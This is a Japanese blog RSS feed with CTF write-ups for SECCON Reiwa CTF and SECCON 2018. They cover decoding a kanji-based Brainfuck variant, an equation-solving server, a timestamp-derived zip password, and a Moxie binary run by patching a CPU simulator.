<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>CTF on きょうのかんぱぱ</title><link>https://kanpapa.com/tags/ctf.html</link><description>Recent content in CTF on きょうのかんぱぱ</description><generator>Hugo -- gohugo.io</generator><language>ja</language><copyright>kanpapa.com</copyright><lastBuildDate>Tue, 30 Apr 2019 00:00:00 +0000</lastBuildDate><atom:link href="https://kanpapa.com/tags/ctf/index.xml" rel="self" type="application/rss+xml"/><item><title>SECCON 令和CTFのWrite-upをまとめました</title><link>https://kanpapa.com/2019/04/seccon-reiwa-ctf.html</link><pubDate>Tue, 30 Apr 2019 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2019/04/seccon-reiwa-ctf.html</guid><description>&lt;img src="https://kanpapa.com/2019/04/seccon-reiwa-ctf/images/reiwa_ctf_cat.jpg" alt="Featured image of post SECCON 令和CTFのWrite-upをまとめました" /&gt;&lt;p&gt;&lt;a class="link" href="http://score-reiwa.seccon.jp/" title="SECCON 令和CTF"
 target="_blank" rel="noopener"
 &gt;SECCON 令和CTF&lt;/a&gt;に参加しました。&lt;/p&gt;
&lt;p&gt;今回は２時間という短期決戦です。今回も回答できた人の人数でどんどん点数が低くなるということで、なかなか厳しかったです。途中で1時間延長されましたが・・・。&lt;/p&gt;
&lt;p&gt;解いた問題は２つで、合計で110点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;フラグの例は　10点&lt;/li&gt;
&lt;li&gt;bREInWAck　100点&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;あと、時間はすぎてしまいましたが、以下の１問も解きました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;零は？　100点（でも時間外なので0点）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;忘れないうちにWrite-upを書いておきました。&lt;/p&gt;
&lt;h2 id="フラグの例は-misc"&gt;フラグの例は (Misc)
&lt;/h2&gt;&lt;p&gt;いつものサービス問題です。&lt;/p&gt;
&lt;h2 id="breinwack-misc"&gt;bREInWAck (Misc)
&lt;/h2&gt;&lt;p&gt;flag.bwというファイルが提供されました。バイナリエディタでみたところ&lt;/p&gt;
&lt;p&gt;&lt;img alt="reiwa_ctf_bz.jpg" class="gallery-image" data-flex-basis="439px" data-flex-grow="183" height="430" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2019/04/seccon-reiwa-ctf/images/reiwa_ctf_bz.jpg" width="787"&gt;&lt;/p&gt;
&lt;p&gt;令和とか平成という文字が並んでいます。&lt;/p&gt;
&lt;p&gt;とりあえずテキスト形式のようなのでcatで確認です。&lt;/p&gt;
&lt;p&gt;&lt;img alt="reiwa_ctf_cat.jpg" class="gallery-image" data-flex-basis="372px" data-flex-grow="155" height="200" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2019/04/seccon-reiwa-ctf/images/reiwa_ctf_cat.jpg" width="310"&gt;&lt;/p&gt;
&lt;p&gt;参考サイトとして、以下のサイトが挙げられていました。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://ja.wikipedia.org/wiki/Brainfuck" title="Brainfuck"
 target="_blank" rel="noopener"
 &gt;https://ja.wikipedia.org/wiki/Brainfuck&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;面白いプログラム例です。ここででてくる８つの言語仕様が、それぞれの漢字１文字に対応づけられているのでしょう。&lt;/p&gt;
&lt;p&gt;見たところ以下の３つは想像がつきます。&lt;/p&gt;
&lt;p&gt;「　→　[&lt;/p&gt;
&lt;p&gt;」　→　]&lt;/p&gt;
&lt;p&gt;。　→　.&lt;/p&gt;
&lt;p&gt;残りは、次のように考えました。&lt;/p&gt;
&lt;p&gt;傾向として「和」がたくさんでてきます。多分これはポインタが指す値をインクリメントするのだろうと、「＋」としました。&lt;/p&gt;
&lt;p&gt;また最初に「令」がきているのでこれはポインタ操作かなと、いきなり減算はしないだろうから、「＞」と考えました。&lt;/p&gt;
&lt;p&gt;残るは、「平」、「成」ですが、まあ、「－」と「＜」のどちらかなので２通り置換したものを作りました。&lt;/p&gt;
&lt;p&gt;このルールに従ってエディタで置換したものが以下のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;++++++++++++++++[&amp;gt;+++++&amp;gt;++++&amp;gt;+++++++&amp;gt;++++++&amp;gt;++&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;+++.&amp;gt;+++++.--..&amp;lt;----.-.&amp;gt;&amp;gt;+++++++++++.&amp;gt;++.&amp;lt;&amp;lt;&amp;lt;++++.&amp;gt;++.++++.&amp;gt;&amp;gt;++++++++++++.&amp;lt;&amp;lt;&amp;lt;+++++++++++++.--------.&amp;gt;--------.&amp;gt;&amp;gt;.-----.------.&amp;gt;+.&amp;lt;&amp;lt;++.&amp;gt;&amp;gt;&amp;gt;++++++++++.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これをWikiPediaにリンクされていたBrainCrashのJavaScriptに流してみましたが、うまく表示されません。ここでいろんなパターンを試していて時間が過ぎていきました。&lt;/p&gt;
&lt;p&gt;良く説明を読んだらこのJavaScriptでは初期値にHello Worldが設定されているとのことで、これが邪魔をしているのかなと、一度ローカルにコピーして、JavaScriptのHello Worldの文字列の値をすべて0に変更して流し込んだところ、無事フラグがでてきました。&lt;/p&gt;
&lt;p&gt;&lt;img alt="reiwa_ctf_js.jpg" class="gallery-image" data-flex-basis="511px" data-flex-grow="213" height="427" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2019/04/seccon-reiwa-ctf/images/reiwa_ctf_js.jpg" width="910"&gt;&lt;/p&gt;
&lt;h2 id="零は-misc"&gt;零は？ (Misc)
&lt;/h2&gt;&lt;p&gt;問題にはサーバ名とポート番号が書かれていました。早速接続してみると&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[1/100]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0=?-34
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?=34
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[2/100]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0=92+?-184
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?=
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Wrong!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(Enter RETURN key if connection is not disconnected)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;という感じで、表示された式の結果を０にする値を回答するもののようです。&lt;/p&gt;
&lt;p&gt;これは以前&lt;a class="link" href="https://kanpapa.com/2014/12/seccon-ctf-2014-online-writeup.html" title="Z80の逆アセンブラ問題"
 target="_blank" rel="noopener"
 &gt;Z80の逆アセンブラ問題&lt;/a&gt; (Let&amp;rsquo;s disassemble)で苦労したパターンだなと思いだしました。&lt;/p&gt;
&lt;p&gt;入出力の部分は前回の&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/lets_disassemble.py" title="Z80問題のソース"
 target="_blank" rel="noopener"
 &gt;Z80問題のソース&lt;/a&gt;を持ってきて作りだしましたが、方程式の解法ってpythonでどうやるんだろうと調べている間に、タイムリミットになってしまいました。&lt;/p&gt;
&lt;p&gt;その後、&lt;a class="link" href="https://ja.wikipedia.org/wiki/SymPy" title="SymPy"
 target="_blank" rel="noopener"
 &gt;SymPy&lt;/a&gt;という便利なものがあることを知り早速組み込みました。&lt;/p&gt;
&lt;p&gt;何度かプログラムを修正して、フラグを取得できました。&lt;/p&gt;
&lt;p&gt;&lt;img alt="reiwa_ctf_python.jpg" class="gallery-image" data-flex-basis="359px" data-flex-grow="149" height="395" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2019/04/seccon-reiwa-ctf/images/reiwa_ctf_python.jpg" width="591"&gt;&lt;/p&gt;
&lt;p&gt;いつものように汚いプログラムですが、&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/reiwa_zero.py" target="_blank" rel="noopener"
 &gt;github&lt;/a&gt;に載せておきます。&lt;/p&gt;
&lt;h2 id="総評"&gt;総評
&lt;/h2&gt;&lt;p&gt;今回は実質１問ということで残念な結果に終わりましたが、時間切れになってしまっても最後まで取り組んでなんとか解けたのが良かったです。&lt;/p&gt;
&lt;p&gt;関係者の皆様ありがとうございました。&lt;/p&gt;
&lt;p&gt;また次回もよろしくお願いします。&lt;/p&gt;</description></item><item><title>SECCON 2018 Online CTF のWrite-upをまとめました</title><link>https://kanpapa.com/2018/10/seccon-2018-online-ctf-write-up.html</link><pubDate>Sun, 28 Oct 2018 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2018/10/seccon-2018-online-ctf-write-up.html</guid><description>&lt;img src="https://kanpapa.com/2018/10/seccon-2018-online-ctf-write-up/images/moxie_bz1.png" alt="Featured image of post SECCON 2018 Online CTF のWrite-upをまとめました" /&gt;&lt;p&gt;SECCON 2018 オンラインCTFに参加しました。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://kanpapa.com/2017/12/seccon-ctf-2017-online-write-up.html" title="SECCON 2017 Write-up"
 target="_blank" rel="noopener"
 &gt;去年のCTF&lt;/a&gt;&lt;a class="link" href="https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up.html" title="SECCON CTF 2016"
 target="_blank" rel="noopener"
 &gt;&lt;/a&gt;と同様一人でのんびり取り組んだのですが、今回は回答できた人の人数でどんどん点数が低くなるということで、一人チームでは厳しい状況でした。&lt;/p&gt;
&lt;p&gt;解いた問題は２つで、合計で371点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unzip 101点 597人が回答&lt;/li&gt;
&lt;li&gt;Special Instructions　270点　61人が回答&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;忘れないうちにWrite-upを書いておきました。&lt;/p&gt;
&lt;h2 id="unzip-forensics"&gt;Unzip (Forensics)
&lt;/h2&gt;&lt;p&gt;unzip.zipというファイルが提供されました。Unzip flag.zip.とのことです。&lt;/p&gt;
&lt;p&gt;普通にzipを解いてみたところ、flag.zipとmakefile.sh がでてきました。&lt;/p&gt;
&lt;p&gt;次のflag.zip を展開しようとしたところパスワードがかかっています。&lt;/p&gt;
&lt;p&gt;makefile.shをみてみると、どうもこのzipファイルのパスワードはファイルを作成した日時のUNIXTIMEが該当するようです。&lt;/p&gt;
&lt;p&gt;ファイルの作成日付は、2018年10月27日 0:10:42とのことなので、&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ date +%s --date &amp;#34;2018-10-27 00:10:42&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1540566642
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;この数字の前後の値を試してみるとパスワードが一致しました。&lt;/p&gt;
&lt;h2 id="special-instructions-reversing"&gt;Special Instructions (Reversing)
&lt;/h2&gt;&lt;p&gt;問題ではrunmeというファイルが添付されていました。&lt;/p&gt;
&lt;p&gt;このファイルを実行するとフラグがでてくるようです。&lt;/p&gt;
&lt;p&gt;また、「&lt;a class="link" href="http://kozos.jp/books/asm/" title="大熱血アセンブラ入門サポートページ"
 target="_blank" rel="noopener"
 &gt;大熱血！アセンブラ入門&lt;/a&gt;」で使用しているクロスコンパイル環境がヒントのようです。&lt;/p&gt;
&lt;p&gt;まずはこのファイルが何なのか調べます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable,*unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ELFのようですが、アーキテクチャが0xdfで普通のCPUではなさそうです。&lt;/p&gt;
&lt;p&gt;次にreadelfで見てみます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ readelf runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ELF Header:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Class: ELF32
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Data: 2&amp;#39;s complement, big endian
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Version: 1 (current)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OS/ABI: UNIX - System V
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ABI Version: 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Type: EXEC (Executable file)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Machine: Moxie
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Version: 0x1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Entry point address: 0x1400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start of program headers: 52 (bytes into file)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start of section headers: 1936 (bytes into file)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Flags: 0x0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Size of this header: 52 (bytes)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Size of program headers: 32 (bytes)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Number of program headers: 3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Size of section headers: 40 (bytes)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Number of section headers: 9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Section header string table index: 8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これを見る限り&lt;a class="link" href="http://moxielogic.org/blog/pages/architecture.html" title="Moxie Aarchitecture"
 target="_blank" rel="noopener"
 &gt;Moxie 仮想CPU&lt;/a&gt;のELFファイルのようです。&lt;/p&gt;
&lt;p&gt;他にヒントがないかなとバイナリダンプをしてみます。&lt;/p&gt;
&lt;p&gt;&lt;img alt="moxie_bz1.PNG" class="gallery-image" data-flex-basis="1063px" data-flex-grow="443" height="162" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2018/10/seccon-2018-online-ctf-write-up/images/moxie_bz1.png" width="718"&gt;&lt;/p&gt;
&lt;p&gt;moxie-elf.c という文字が見えます。やはりmoxie CPUのバイナリのようです。&lt;/p&gt;
&lt;p&gt;また、バイナリダンプには他にも気になる文字列があったので、stringsしてみると。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ strings runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;,.U7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0123456789abcdef
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This program uses special instructions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SETRSEED: (Opcode:0x16)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RegA -&amp;gt; SEED
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GETRAND: (Opcode:0x17)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xorshift32(SEED) -&amp;gt; SEED
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SEED -&amp;gt; RegA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GCC: (GNU) 4.9.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;moxie-elf.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;decode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;putchar
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;どうやら特別なCPU命令が含まれたELFバイナリのようです。この命令を仮想CPUに実装しないと動かないのだと思います。&lt;/p&gt;
&lt;p&gt;これは間違いなく「大熱血！アセンブラ入門」の実行環境のビルドが必要になるということで、急いでWSLのUbuntuにビルド環境を構築しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ wget -nd http://kozos.jp/books/asm/cross-gcc494-v1.0.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;コンパイルに時間がかかるので、moxieのアーキテクチャだけコンパイルするようにしました。付属のREADME.txtにそのあたりも書かれていましたので助かりました。&lt;/p&gt;
&lt;p&gt;moxieの実行環境でこのバイナリを動かしてみたところ、&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc494&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;moxie&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elf&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="n"&gt;stopped&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="k"&gt;signal&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Illegal&lt;/span&gt; &lt;span class="n"&gt;instruction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;やはり、未定義命令があるので、途中で停止してしまいました。&lt;/p&gt;
&lt;p&gt;普通に考えると実行環境で使っているCPUシミュレータに新しい命令を追加すればよいはずです。&lt;/p&gt;
&lt;p&gt;ソースをさがしてみたところ、該当する部分が見つかりましたので、新しい命令を追加します。&lt;/p&gt;
&lt;p&gt;今回組み込んだxorshift32の計算方法は&lt;a class="link" href="https://ja.wikipedia.org/wiki/Xorshift" title="Xorshift"
 target="_blank" rel="noopener"
 &gt;Wikipedia&lt;/a&gt;を参考にしました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc494&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;toolchain&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gdb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;7.12&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sim&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;moxie&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt; &lt;span class="n"&gt;interp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="n"&gt;interp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;***&lt;/span&gt; &lt;span class="n"&gt;interp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;52.420937700&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0900&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;interp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;13.465745600&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0900&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;***************&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;***&lt;/span&gt; &lt;span class="mi"&gt;246&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;251&lt;/span&gt; &lt;span class="o"&gt;****&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="mi"&gt;246&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;252&lt;/span&gt; &lt;span class="o"&gt;----&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ne"&gt;int&lt;/span&gt; &lt;span class="n"&gt;siggnal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;ignore&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;opc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;unsigned&lt;/span&gt; &lt;span class="ne"&gt;int&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt; &lt;span class="n"&gt;short&lt;/span&gt; &lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sim_cpu&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;scpu&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;STATE_CPU&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;FIXME&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;address_word&lt;/span&gt; &lt;span class="n"&gt;cia&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CPU_PC_GET&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scpu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;***************&lt;/span&gt;
